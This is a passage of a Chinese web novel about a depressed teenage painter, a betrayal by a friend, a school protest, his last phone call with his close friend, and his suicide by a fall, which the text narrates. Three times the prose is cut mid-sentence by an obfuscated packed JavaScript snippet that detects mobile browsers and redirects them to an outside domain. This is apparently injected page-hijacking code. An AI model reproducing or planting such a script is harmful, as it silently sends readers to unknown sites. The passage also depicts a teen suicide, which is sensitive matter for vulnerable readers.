人是会变的，十七八更如此。齐怀生曾为他买画具，鼓励他走自己的路，但短短一年内他就知道了。即便齐怀生不说，他也能感觉到。齐怀生早就不与他一路，想不到一处去。怪他愚蠢，竟相信自己得到过一份珍贵的理解。 理所当然的，陈向然想，这样的坚持的确奢侈又疯狂。他百感交杂，捂着痉挛的胃腹，轻轻发出一长串闷闷的笑声，抬起眼正对上齐怀生铁青无措的脸。他玩味地看着，好像再不仔细看看，就没有机会了。 他说：“我开玩笑的，生哥。” 只一瞬间，轮到齐怀生露出仿佛受骗的神情。 陈向然握着他的双手，慢慢放在他腿上。正要说点什么，眼瞥见齐怀生手机亮着屏幕，忍不住拾起来。指腹摩擦细小的屏幕裂痕，看到那张拼得面目全非的“全家福”。 “什么时候拍的？”他说的是照片上被截下半身的自己。只有一张没看镜头的侧脸 “暑假，在塘泽。”齐怀生面上没反应，话语磕绊出卖他的慌张，他像一个无法反抗的受刑者，而面前的行刑人竟笑意温柔，“在海边，你在画你的鲸鱼。” “鲸鱼啊……”陈向然低头喃喃。 他许久没见过他的瑟尔夫。那悲鸣微弱非常，藏进深海某处阴暗又寒冷的角落。它离得太远了，让人再感受不到它的行踪，仿佛要消失在他精神世界的尽头。 于是他的精神无处落脚，胸中徒剩死寂。 “把我换掉吧，怪难看的。”陈向然将手机塞还他。 “不换。”齐怀生连他的手一起握住。 陈向然看了眼包握的手，缓缓抽出来。 总要换的。 夏初，屋里的空气却要凝结成冰。他几乎冷淡地说：“还有什么要说的吗？” “有，有很多……但不是现在。” 齐怀生的话语很克制，可陈向然太敏感，听出对面那平坦宽阔的胸腔中满是汹涌冲撞的暗流。他在挽留齐怀生的人，齐怀生在挽留他的心。 多希望对方能等等自己。 直到陈向然离开，气氛都安静得诡异。 齐怀生侧对着门，等着陈向然的关门声。偷偷掀了一眼，几乎不敢看那背影。他不知道陈向然有没有回头，但都不重要了。他走得很快，关门声很干脆。人离开了，齐怀生触电般从口袋里掏手机，翻通讯录找人。 不能留他一个人，齐怀生只有这个念头。 拇指几次放在“孙临潼”那栏上，犹豫再三，想到些莫名其妙的场景，他还是没有拨号。转而打给了申恺。 梅雨季刚一只脚踏入小城，街道上已经充满了腐潮味。 陈向然踩着湿漉漉的街路，无意间揣了口袋，摸到纸张锋利的边角，是孙临潼塞给他的东西。 不用拆开，他也知道是什么。海中的学长学姐玩剩下的所谓集体抗议。一帮少男少女手签一张联名信，向校长室激烈抗议学校制度。包括但不限于拉横幅、闹操场等传统手段。放在一年前，陈向然只觉可笑。一群人削尖了脑袋来这个学校，期待踩着学校的肩膀鱼跃龙门，又像小丑一样去痛恨。那些出格的事总让他觉得丢人…… 他打开几张纸，上面密密麻麻签了好几十个名字，拇指一划，熟练地摩挲墨迹已经干透的“陈向然”三个字。大约一个月前签下的，在行政楼广场偶遇孙临潼之后的某天，整个十六班都在杨姗办公室门口围观了一场吵架。 都以为杨姗“手腕”了得，破天荒请到某尊大佛，想一睹老领导的尊容，哪想来的还是孙临潼的母亲。这个成熟端丽的女人面对儿子当场红了眼眶，巴掌声响亮尖锐。她让门口围观的学生看着，今天就要当众人的面让儿子长长记性。孙临潼低头死死捂着耳朵，在忍受耳鸣。这一掌太重了，从脸上直落心脏。 陈向然想起孙临潼伪造绑架骗了警方那天，他曾对这位朋友说，考好一点，反而能得到他们的关心，说不定还有肯定和赞扬，那比做这种愚蠢的反抗强多了。 孙临潼只是微笑：这样的关心你也要嘛？ 严霖辉也在办公室，看不下去，摸摸学生的脑袋，小声安慰：“理解一下你妈妈的心情，她希望你好。只是方式——” “不用理解。”这母亲也是个强人，眼眶绯红仍不改从容，“你爸不管你，坏人我来做，你听不听都得听。考及格之前，那些什么名牌都别找我买了。我们在你身上投入了多少？吃好穿好也不见你考好。” 孙临潼怒了。 他发现，自己和母亲的聊天里，最生活、最人情味儿的部分，是最不接地气的奢侈品牌。她像一个温柔教导的母亲给他介绍世界知名品牌，由他挑选喜欢的花色款式。他曾想这是父母为他们自己的地位和财力感到自豪的方式，但除此之外，他和母亲的话题就只剩下钱用完没、这次哪科又不及格了之类。 他自认擅长交友，却不擅面对爸妈。 “只是方式不对，对吧？我的方式也不对……”正当周围误以为这纨绔终于要认错悔改时，他朗朗一笑：“就请你们理解我吧。” 而后不出几天，这几张纸就递到陈向然的手上。七十来个名字，眼熟的屈指可数。也不知少爷费了多大劲，到最后才向他郑重发出邀请。 陈向然不知道自己怎么会收到邀请，拉横幅也好压操场也好，就是些无意义的活动。孙临潼非但跑来邀请他，还说：“你是最重要的一个，可别缺席啊。”嬉皮笑脸玩世不恭。 “怎么重要？”陈向然漫不经心地问了一句，翻数签名里那些熟悉的名字，直到把目光定格在“刘永凡”三字上，抬了下眼皮。 随后他感到手背一凉，孙临潼提了一袋东西递到他手边：“当然是需要你小子画画。” 陈向然看清袋子里的东西，顿时觉得厌恶，不由皱眉：“什么意思？” “让学校看到咱的态度啊。”孙临潼指着操场方向的尽头。 原来是那块石壁，他觊觎了很长时间的小小向往。 在行政楼广场偶遇孙临潼那天，陈向然没有追究那袋名牌画具买来何用。没想到是孙临潼为他准备的。 孙临潼说了很多，他无心倾听，最终只记得对方说：一幅巨大醒目的涂鸦挂在操场边上，这种出于叛反而创作的艺术多少能让人有所改变，至少能让人记住。就像他两年前，在高一·十六班教室画的十朵向日葵。 到现在仍有人用“我们是青春朝气的向日葵”作玩笑，压力和沉闷在调侃中暂时地消解。小少爷说得一本正经，还有些澎湃，陈向然只是别开脸。 曾经坚持得头破血流的事情，也只是一次次被扼杀，到最后他也不晓得林岚是如何拿到他画过的所有画卷。彻底放弃之后，倒与所谓理想再续了孽缘，他觉得好笑。 最后的缘分了，陈向然想，什么缘都是要消失的。 他攥着联名信，另一只手摸进裤兜，才想起手机落在医院了。人没了手机总是不习惯，像是半条生命捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301994|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了别人手里。 从医院逃出来，从齐怀生家里离开，唯一的容身之处竟然是这个笼一样的学校。 五月末某个夜幕低垂，山路明亮昏黄，教学楼白光点点。晚自习下课时间，他坐在观景园中的长椅，孙临潼等几个领头人站在他旁边商讨流程。 他们讨论得唾沫横飞，严肃认真，还有些玩弄的意味。陈向然一句都没接，目光在园子里一扫，就望见了白峥。以清华为目标的艺术生倚着栏杆大声背书，时不时掏出手机看看时间。 陈向然站起来，离白峥还有几步之遥，就被对方发现了。 “我靠，你不是住院了嘛？”白峥像见了鬼似的，“怎么？只要你出院了，陆老就要把明年江洲画展的机会让给你——” “手机借我。”陈向然朝他伸手。 “……啊？”这个过分刻薄耿直的同门师兄弟懵住，递出手里的四方砖，“你要干嘛？” “打个电话。” 这个明媚的下午，齐怀生第一回听见列车自荒野铿锵而来，一上、一下，就是背井离乡。 齐越杰买的下午程，到了江洲已是傍晚。出站人潮拥挤，在站台只能望见一线斜阳，铁轨四周飘过黑灰色的烟尘。天色渐晚，黑夜里没有星星，也看不见月亮。 齐怀生一边感叹城市之大，一边懵着脸，跟齐越杰辗转搭乘了一个小时的地铁，霓虹大厦商业区都没见着，就到了齐越杰的新家。南沙的一个新建小区，离附中很远，离海湾很近。 嫂子听闻他的事已久，见到他欢喜非常。她收拾出一间客房，让他早点休息。旅途辛劳，但陌生环境里齐怀生怎么都睡不熟，偶尔有不明骚扰电话打入，连着两次被吵醒，他索性关机。 明天一早要去见附中的校长，是叶近成和人商量好的时间，必须准时。齐越杰答应开他的小夏利送他一趟，但不能保证路上堵车的时间。 江洲是个交通拥堵的大城市。 齐越杰每年回乡过节，通常会被围着“寒暄”，不是聊公司涨薪升职，就是说哪里的楼又涨了价，某个城区又有了新的蓝图、新的商机。齐怀生唯一一次从人口中感受到江洲，是那天在石川山顶。陈向然描绘它的盛景、它的肮脏、它的节律，词间句里夹杂着过往寂寞的陈述。 陈向然曾经生活的地方，他好好地注视着。 一大早天刚亮，齐越杰的车穿梭在八车道柏油马路、横七竖八的高架桥，路过城中村建筑群，经过陈向然待过的附中初中部……一切都像陈向然说的那样，石砖、柏油路、钢筋水泥，楼房高得像口井…… 可见到梦寐以求的城市没有想象中兴奋，齐怀生想：如果他现在在身边，这种对异乡、对未来的陌生、不安是不是会减轻一些。 想归想，他齐怀生何时反悔过自己的决定？ 齐怀生摩挲手机，黑屏里映出车窗外白蒙蒙的黎明，和一双疲倦的狭长眼。或许就是这漂浮感……他伸出指尖划过车窗，好像真的触碰到了那个独自长大的陈向然。 建筑由矮攀高，他们沿着车流挤进市中心，钻小路入大路。四周车辆渐渐如珠穿串，颗颗流动，直到链成珠止，交通打成了死结，长龙一眼望不到头。 齐越杰叹气，挂空挡，看了眼时间，发现还早：“不远了，要不走过去吧。” 齐怀生贴着车窗观察，只见三百米开外一个红绿灯，远远望不到附中大门：“至少八百米。” 齐越杰拍了下方向盘：“是男人就别磨蹭。” 齐怀生翻了个白眼自觉下车。刚刚钻出车流，到马路牙子上，腿边的手机突然振动——不是电话也不是微信，是几乎没有人会使用的短信息。 从昨晚开始，就是这个号码骚扰不断，点开内容，他先是一头雾水，之后手掌一僵。 ——齐怀生，你在哪。 76. 背叛 齐怀生没有回复这个号码，脑子里先问了一串为什么，紧接着被齐越杰的催促吓了一跳：“还不快下去？” 他手忙脚乱打开车门，跳下车，绕过堵塞的车流，冲上马路牙子。朝附中方向走出一段距离，心情冷静了几分，看了眼手机黑屏里的自己。 他自认能料到一些事情，可当事情似乎真的要发生，他又发现是否料到已不重要了。 他无半分信心解决一切。就像母亲出海那天，他也在镇上小学读书，噩耗传来，他也无法离开学校半步。再后来是叶知、齐卫平，再是陈向然，十多年人生满是鞭长莫及的滋味。后来他还发现，他不只碰不着人，还触不到心。 当下他甚至不敢回拨那电话，他越来越警惕对面是一个病患，要小心，要慎重，可过分的小心翼翼到了对方心里，又与歧视无异。他很努力地去了解了，也发现自己还是不过一知半解。 唯一的曙光，是他从申恺口中，也听见了那个熟悉的“死”字。他知道他的发小跨过了很多迷惘，却不知道他与这个字有过什么因缘。 那日和陈向然分离——他从不承认是分手——之后，他联系过申恺。申恺这段日子忙，成天周旋在自己的失足母亲和人渣父亲之间，还一直惦记着生哥，满怀愧疚地给他准备礼物，要为之前的“绝交”道歉。没来得及送上，齐怀生就到了江洲。 没有必要，他想，最好的道歉就是发小懂得好好生活。 “认识十年了吧，我们都十八了。”齐怀生那时说，“什么伤害不能靠自己化解？” “十二年零七个月。”申恺纠正他，笑了笑，“哪那么轻巧啊生哥，没你成天捶我，我能是现在这样么？” 齐怀生笑了：“那不然怎样？” “你可能不信，”申恺沉下声来，蓦地有些沮丧，“但是吧……我或许真会死。” “死”字准确无误地戳在齐怀生某根绷紧的神经上。这个字直至现在都像一堵高墙，他推不倒也跨不过。 申恺说：“我现在还是什么都不懂，什么也想不明白，也没人告诉我什么——” “为什么死？”齐怀生心生急切。 “啊？”申恺犹豫片刻，“因为小时候觉得，我应该自由吧，自由就是终极追求。可是只要我是他们的孩子，我就不可能自由。我妈可从来不把我介绍给人的，没有人期待我出生。”齐怀生还是第一次听到申恺说这些，“但是挺搞笑的，被你骂被你规训的时候，我才觉得我活着。那时候也才十几岁吧……” 齐怀生打这个电话后去见了发小。及不巧地在派出所门口见到了蓉姨和那人渣大吵一架。申恺站在他们中间，俨然是和过往不一样的姿态。总嚷嚷着母子断绝关系、要寻找自由的浪子，站在母亲面前给了自己的父亲一拳。有什么东西在齐怀生看不到的地方悄然改变了。 齐怀生想起申恺闹脾气那段时间，这女人形容凌乱的样子。要说他们母子亲情，是在相互折磨中诞生的也不为过。 “那天忘了还你手机，因为跟我妈聊了一晚上。”齐怀生和他去了那家熟悉的饭店，第一次见到申恺这样温厚的笑容，“我也不知道怎么想的，跟她报备，说我要去找我爸。我看得出她惊了，哈哈哈！我还有点得意。然后她说，行啊。我说找到他我就走，不回来了。她还是说随你高兴。” 尽管这母子俩谁也不管谁，齐怀生也料不到这反应。申恺说他当时莫名不爽，嘲讽她真开明，还问她为什么。申蓉说自己对不起儿子，因此从来不管他，也没有资格管。 申恺嘴角一落，表情逐渐落寞：“她聊没多久就哭，妈的我哪里会哄女人。不愿意就不愿意呗，装什么大方。” 来不及吐槽发小“不会哄女人”，齐怀生心里莫名浮现一句话：解铃还须系铃人。他让申恺感受到牵绊，让陈向然感受到自由，可是他解不开他们的结。 他想起精神科的郑医生说——“吃药、改变生活习惯，以及打开你的心结”。 陈向然的结是什么？母亲曾经的结又是什么…… …… 申恺说他自己还是什么都不懂、什么也想不明白，齐怀生蛮有同感。仿佛获知更多事情后，他反而愈加迷惘。可是他无法因此停下，眼下附中的高楼只能望见个顶，他也顾不上赶时间，只想着和申恺沟通了再做打算。 “谁啊？三更半夜的。”电话那头申恺还在睡大觉。 齐怀生懒得解释现在几点了，大步走过一家家街边店，去附中的路上要先经过一栋百货大楼。“我。” “……呃，生哥啊。”对面怨气满满地破了音，似乎还翻了个身，“嗐你放心，小叶我看得好好的。” “陈向然呢？” “啊？他啊，在学校吧。你前阵子让我去医院看他和小叶，根本没看见他。他妈妈倒是在，但第二天就给他办出院了。医院床位不够。” 齐怀生把手机攥得更紧：“他妈妈说什么？” “别急，他没事儿。”申恺听他遮掩不住的语气，忍不住安抚一下，“我问要不要报警，阿姨说撤掉报案记录了，他回学校了。回学校就好了嘛，多安全。既然他住宿舍了，那我哪见得到——” “见不到也得见！”齐怀生冲着电话爆发，“学校是他妈什么安全地方！你现在去他校门口蹲着，叫何晋他们一起，马上！” 申恺被他突然放大的声音吓一跳，“嘎吱”一声从床上翻起来，喊了声：“是！” “妈的……” 申恺从没听过生哥接连这么多粗口，吓得动作都快了。过了一会才反应过来，外面朦朦胧的天光提醒他现在才刚刚天亮：“不对，现在都什么时间。发生什么了吗？” 齐怀生擦擦自己冒汗的额头，他也说不清发生什么了。 许是这街头太拥挤，气候太潮湿，马路上的引擎声、喇叭声太闹人，他倏然感到眩晕。非要说发生了什么，就是陈向然用别人的手机给他发了一条信息——问他在哪儿。 他的手机不在身边，就是说那天之后他便没回过医院。他好几天晚上打了电话被自己挂断，之后没有继续联系，今天偏偏凌晨四点多问他在哪，一定遇上了什么事。这是齐怀生看到消息呆愣的两秒内想到的事。 他需要我……齐怀生抓破了脑袋，也无法阻止这句话在脑子里循环。 申恺随意套了件衣服就冲往海中。何晋收到消息后也不懈怠，第一时间多通知了几个人，骑着小电驴往山上赶去。 黎明刚翻出一点鱼肚白，驱不散浓重的黑夜。海中操场门口聚集了一群早鸟，操场内有另一群早鸟可着主席台上蹿下跳。申恺站在人群外，隔着满目喧闹，踮了踮脚尖就看见最显眼的那个——颤巍巍举着把人字梯，在一块巨大高耸的石壁前支好，蹲下身，拾起一把硕大的刮刀。 陈向然被凌晨的风吹得脸颊生疼，遮盖眉毛的碎发乱成棉絮。梅雨渗透到石壁里，腐蚀出均匀的坑洼。 这些天他没打通任何一个电话。齐怀生，很忙吧，马上就是附中的学生了，如虎添翼，前路康庄坦荡。 可今天或许是人生最后一天，想来想去，还惦念着这么个人，凌晨半梦半醒间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301995|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，凭着直觉鬼使神差地发出一条消息。 那句“你在哪”安然躺在屏幕里。原来他不知不觉仍在朝着齐怀生而去，像某种刻在骨髓里、人格中的本能。他仅剩的一点理智，都用在了支持齐怀生去江洲这件事。 山风袭来，云影层层重叠，黑幢幢随山地起伏。 操场灭了照明灯，很多人打起手电筒，挂横幅，霸占主席台，用喇叭录音口号。孙临潼举着手机，寻找合适的拍照角度。他让陈向然也带上手机，从不同的方位录像传到网上，因而他又向白峥借了手机。 陈向然看出白峥在暗自乐呵。最近大约也得到去画展的机会了，借机当着全班人，和陈向然攀谈上画展的“感受”，仿佛变成你来我往的竞争对手，和曾经嫉妒的对象平起平坐了似的。陈向然为了手机，敷衍地回应着他。 白峥的手机响了一声。 陈向然慌忙打开信息——发现是条微信消息，拇指一动正要退出，目光扫到“陆老师”三个字，才发现备注是“希哥”。他曾经形影不离的朋友程希。 他疑惑过程希和白峥的关系，如何在他停课期间变得那么好了。不仅如此，程希愈来愈拒绝与他多说两句话，也不再请教绘画技巧。他们之间依然客气，比初次认识更加客气。看到聊天框他也没忍住，翻了翻聊天记录。 “抱歉兄弟，今天不能跟你双排了，要练透视。陈向然上画展我爸跟打了鸡血一样，真的，他在我爸眼里是神吧。我是不是该让我爸知道一下，这货其实也逃学？” “我靠我靠！比陈向然少7分，又被我爸骂了。这是我画得最好的一次了啊。是不是我比陈向然少一根头发，我爸都会给我重金求最好的生发剂？峥哥你就不一样了，你绝对是要超过他的。” “说实话他人挺不错的，上次替我画的倒影真惊到我了，那就是天赋吧。就是有时阴恻恻的不知道在想什么。” “我这叫仁至义尽，逃学的事都替他瞒这么久了，跟他妈妈说他上画展怎么了？我怎么知道他妈妈不让他上培训啊？他不是不上课也能画得很好么？听说他昨晚还逃晚自习，被扣考勤都不在乎吧。” “最近孙大少爷不是在策划那玩意儿嘛？陈向然竟然答应他去画画了。我打算跟政教处老廖说一声，一起来么？顺便让老廖知道知道他逃学的事，省得家长会我爸又要问他最近多么热爱学习。” “这算什么出卖？做错了就该被指出来啊。” 陈向然差点把手机扔了。 在其他人看来，他只是一动不动地站在那面石壁前，背影轮廓被黑影和曙光映得很深。良久，他缓缓仰起头，看不见的雨丝凉凉地拍在脸上。 悲哀总是比震惊迟来一点。 当林岚的面撕毁画纸那天过去很久了，他并非没有找寻新的人生。他找到了齐怀生，偏偏自己亲自解开了齐怀生的枷锁，放他远走。一年多的牺牲所换来的薄如屏纸，因朋友的一句话就打了水漂。陈向然想到严霖辉说的关于“弱小”的话。 互相信任时他不怎么想起这位朋友，只是待在一起的时间最长，于是生活中理所当然地结伴。被背叛了反倒想起对方无所顾忌大笑的样子，挂着虚伪的神情躲避他的样子。 陈向然曾经觉得，那个愿意服从安排的孩子，稀里糊涂地过下去未尝不是幸福。到底还是变作如此。 浓郁的失望还没散去，齐怀生的电话又兜头一盆冷水。 “陈向然，”对面的声音十分干涩，“你不是问我在哪吗？” “我在江洲。” 冷水结成冰凌。 77. 倒影 电话里有车流声、喇叭声、人潮声，甚至有熟悉的商城广播，在这些声响衬托下，齐怀生的声音就显得尤为孤独。 三年前陈向然在江洲流浪，齐怀生还在家乡倒弄海产。如今换过来了，江洲依然是个滋养孤独的繁华都市。 “噢……”陈向然沉吟，“没事，你好好上学。别辜负了……”他极不自然地顿住，又说：“你自己。” “你在哪？” “没必要知道。”陈向然换了耳机，蹲下身挑选颜料，“等你回来，我一定不在了。” “我……”齐怀生语塞，“对不起向然，我知道你现在很难过，我走之前没有告诉你，我以为我办完手续还能回去——” “我不难过。”陈向然用刮刀勾出一团深蓝，颜料反光将他的眼睛刺得发热，“没什么难过的。” 他不难过，他心神交杂，想不出该为哪件事难过。 齐怀生回以漫漫沉默，几声悠长的呼吸如覆霜雪。半晌他说：“不难过……不难过为什么找我？为什么要知道我在哪？你记得我说过有些话留着以后说吗？我现在说给你听。” 陈向然没有使用调色盘，用刮刀直接搅弄颜料罐。心想说不说不重要，他其实不那么想听了。 但仍静静等对方吐露。 “我妈，我妹妹，你们学校的人……很多人，世上不只有你在和郁病作斗争。我很想了解你们，去触碰那个最核心的东西，不是叫你们坚强，也不是劝你们开心，我想要真正帮到你们。”齐怀生顿了顿，“以前我妈和我说，人有一件一辈子不能舍弃的事，是很难得的。就像我们小时候常听到的，‘只要坚持就会实现’。可如何靠坚持做一辈子。黎斯还在老家蹲守，我妈选择结束。尽管这些是不是值得、有意义，还是自私、不知本分，也不能由我评判。” “你知道的，我也曾以为我会坚持一个理想，等我回过头来，我的生活一片狼藉，早就不是我认为的样子。什么灯光舞台都没有，我只是流水线上一颗螺丝而已。” “我理解你们学校那种极致的高压，还有在这种高压下诞生的高分。学校……只是另一种意义的流水线吧。” “陈向然，当时我告诉你有些话以后再说，因为我说不出口。我记得那天在海边，你说将来想要住在石川山顶，每天敲敲钟，和我弹琴作画。我舍不得告诉你我放弃了、妥协了。那样好像是对你坚持那么久的背叛。” 少年的灵魂快速抽拔，拉伸成另一副模样，似乎不再能回头了。 陈向然眼角垂下，手里的色彩仍在延展：“你想劝我？” 他一定猜对了，因此齐怀生才突然窘迫：“我没有资格左右你……你有你的选择。哪怕……哪怕从此你身边没有我了。我只希望你好好的。如果理想让你的人生变成无限挣扎，我不愿你这么挣扎，太痛苦了。我曾经也认为你该去更高更远的地方，不该陪我止步于江洲。现在我只希望你是陈向然，就足够了。” “那……我怎么做呢？” 飓风席卷空旷的大操场，那面石壁就耸立在东侧，平滑齐整，朝霞是橘粉的色彩，赋予它神圣的光芒。 陈向然站在风中，目视这庄严的一幕。 他低头看着手里的工具，低声自语：“改变，就不是陈向然了……” 他略一偏头，就看到孙临潼展开横幅，指挥所有人挂满整个操场。孙临潼也好像有感应一般望来，一瞬间陈向然仿佛回到偷听严霖辉和这位小少爷谈话的时候。 他曾经被严霖辉的某一段话激励，而现在，那些话就像是陷阱一般。 ——“你知道吗？我当初也爱画画，上高中以前。” ——“所以吧，总觉得人就应当努力、上进，要有理想，有抱负，要过上想要的某一种生活。要死要活地坚持、反叛世俗，把自己困在牛角尖里，把周围的人牵连得一塌糊涂，还认为一切都理所应当。” ——“后来发现，那些困住我们的东西它根本就不存在。只要你放弃与之对抗。或许会觉得可惜，但至少，路走通了，不至于绝望。” ——“我不想说什么你们还年轻，执着地追求理想很正常，以后就明白了之类的话。我只是不希望我的学生钻进牛角尖就出不来了。以为自己在反抗，其实在别人眼里不过是在置气。为什么？因为你还弱小。正因为这样，一旦反抗失败，就会万念俱灰，人就是这么走向毁灭的。” “要是觉得，这世界上有什么你想反抗的东西，那就变得强大起来。到那时，你才能改变一切，看到一个不一样的世界。” 严霖辉是对的，他怀着真诚对他的学生如此说。 可是。 “我不想改变。”陈向然“唰”地泼上一划长长的油彩，尾笔骤雨一般泼洒开去，“改变别人，和被改变，没有什么区别。” “我没有你想的固执，我只是不明白他们满口的正确和错误、应该和不应该。慢慢的……我好像也不得不像他们这么想了。”他的声音温柔且坚定，“齐怀生，我对自己没有期待。我有太多“更好”的、“应该”做的，没有余力期待以后。即便我想找回我自己，我也早已不能是自己了。” 当年那幅丝线悬挂的向日葵板画，还在高一十六班的教室后方。新入驻的学弟学妹没有人舍得擦去这幅画。 它留在那里，像一个警钟。 反抗失败，就会万念俱灰。他当然会失败。陈向然很清楚。从瑟尔夫看清它狰狞的深海开始，他也冷静地凝望着这个世界。 黎明天光微醺，刮刀下颜料蜿蜒出蔚蓝的底色，大朵软云漂浮，霞光、灿云交融。云上有扁舟，舟尾立飞鸟，鸟喙轻啄白羽。鲸鱼瑟尔夫晃过巨大的身躯，翱翔云中。 底色渐深，瑟尔夫蓦地驶入黑夜。陈向然更换刀具，巧添多笔，条条灰色水纹爬满整个石壁——他曾经也以同样的手法为程希修改笔画。这些波纹残忍地让人看清，鲸所飞翔的无垠天空，不过是海面的倒影，是镜花，是水月。黑夜到来，它失去方向，沉入深海。它远去，陈向然再听不到它。 他试过争取，不像一个标准的作品被打造。但他没有打败任何东西。唯一的收获是认识到有些伤害埋根之深、历来如此。 “齐怀生，谢谢你……” 电话那头静若夜阑三更，没有回应。 “也替我谢晋哥他们。这件事我考虑了很久，做决定……无非自己承担罢了。” “什么……”齐怀生闷住喉底，“你说清楚，什么意思？” “我只是过不下去了，也不想过一段随时会失去你的人生。所以放我——” “现在他妈是我在失去你！”齐怀生咬牙说。 吼声突如其来，震耳欲聋，陈向然倏地呆住了。 “是我又错了……不该留你一个人。我应该带你走，让你在我身边寸步不离。如果你只是想大作一场引我回去，”他冷笑，“我答应行么，你明天就可以看到我。” 陈向然长久无波的心像海绵一样拧起，沁出血来。 大作一场。齐怀生，如何能说出这样的字眼。 “你说过，人没了什么都不能没有聊以寄托的……人和事。”陈向然句末一颤，语调终于露出破绽，“你不是，懂的么。” 齐怀生的声音抖得厉害：“算我求你，陈向然，等我回去。你答应过会给我一个挽回的机会——” “别这样。江洲很好，齐怀生。”陈向然忙着将蓝色、白色的颜料泼洒，没有立即回应。壁画品相初见，宏大而壮观，“海神也不能保证你不会遇见风浪，我们各有选择……” “不是选不选择的问题吧。”齐怀生暗自破开了声，“如果你一定要走上绝路，为什么还要打这个电话？为什么我们不能在那天就分开？为什么要让我从此以后忘不掉今天？为什么一个一个……”对面哽住哭腔，“全他妈因为我的疏忽离开我。” 陈向然手腕微颤，缓缓放下刮刀。 颜料粘稠，顺着刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301996|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘缓缓流淌，滴落在人字梯上。 “陈向然，你对我，可真他妈残忍……” 可他不愿悄无声息地、莫名其妙地消失，没有最后一面，最后的剖白。 齐怀生忍不住咆哮：“所以我不懂，我不懂啊，你为什么不治疗？为什么不好好读书？明明是你劝我上学，自己却做不到，你不觉得自己可笑吗？” 齐怀生的声音从耳机里泄露出来，他那么用力地叫喊，陈向然的耳膜撕裂般疼痛。而他任其痛，连眉头都没皱一下，刮刀仍在石壁上“唰”、“唰”地涂画。 操场的风很冷，油彩很快干透，因而他必须画得快一点，更快一点。 想说的都说了，像是交代完最后的遗言，留下最后的色彩表白。却在这时候，想起了齐怀生曾经讲的故事。 他的故事很多，陈向然偏偏想起了这个。 三个流浪汉。 一个高兴地握着福彩；一个死死地盯着福彩；还有一个一无所有，面容呆滞，形同木偶。 你想成为谁？ 他垂下握着刮刀的手，心里的聚焦渐渐从木偶，转移到第二个流浪汉。 五月的最后一场雨，毛毛盈盈渗透街里每块地砖、每根房梁。路过不透风的巷子、经过檐下飘荡的衣物，霉味和潮气仿佛要钻到人灵魂里去。 陈向然沿山路而上，耳边贴着手机，哽着喉没给任何回应。齐怀生对着电话，喊得嗓子嘶哑难辨，仿佛喉底夹着心里流的血。 陈向然一言不发地听着。齐怀生每哑一个音节，他的视线就模糊一分。他不挂电话，他该让齐怀生骂个痛快。 山顶，极颠亭十年如一日耸立最高处。他站在亭前，再次远眺天地。 操场上一片混乱狼藉，少男少女肆意反抗，老师们很快各自认领自班，把人聚到一处。孙临潼策划了那么长时间的行动，短短半小时宣告结束。此处望去一切渺小如斯，少年的苦楚庞大又不足为道。 谁家檐下挂了铜铃，被风吹散流苏，叮铃铃地响。陈向然长风披身，身前是万丈深渊。 手里攥着那张联名信，恍惚间想起那个狂风肆虐的黄昏，残阳将绝笔信上的笔墨变得刺眼。纪封道在信的末尾表达了向加害者叩首的决意。 一向低调的男孩不愿在静僻的河滩上默默死去，而选择血淋淋地横陈在人来人往的教学楼广场。 他曾被男孩叮嘱走向光明，到底还是殊途同归。 “你在哪？去找老师同学，别一个人……”齐怀生喊累了，靠一口气拼命表达着：“你想一下你妈妈，想想我，还有叶知，阿恺他们……”他快要说不出话来。 陈向然揪住心口，咬紧了牙关，默默垂下手机。齐怀生的呼喊散进风里，他什么也听不见了。 海中操场外围，申恺汗流浃背，雨丝黏在发梢上。他伸长脖颈，努力让操场、主席台和天空都收入眼底，尤其那块巨大的石壁，以及石壁前一众蓝白校服的其中一个。 他找到了，陈向然交出了一幅谁也挑不出瑕疵的壁画，从操场隐秘的偏门离开，往山里走去了。 申恺预感不妙，疯了般打电话给齐怀生，回应他的只有正在通话中。 整个大操场在凌晨微雨中静谧，喇叭被关闭，横幅被摘取，手机录像被没收，这场活动的始作俑者不敢言语。 有雨声，有个别老师的呼喝声，横幅拖拉在塑胶跑道上的沙声，衬得场上似是无声，静得令人窒息。 突然砰地一声，如巨石砸入镜湖。 回声在山间如浪涛蔓延。申恺有一瞬间怀疑自己聋了，只剩下尖叫一样的长鸣覆盖一切声响。他应当是看见了，一黑影自天际飞速坠落，落在主席台前、游鲸壁画前。声响的来源正在场域的最中央。 一瞬间，四面八方在场的人皆被镇住。反抗者、参与者、镇压者、围观者、隐藏人群间的背叛者，都怔在了原地。 全场定格，像是谁完成了一幅转瞬即逝的优美画卷。 78. 鲸落 通话切断之前，齐怀生听到一声清晰的撞击。 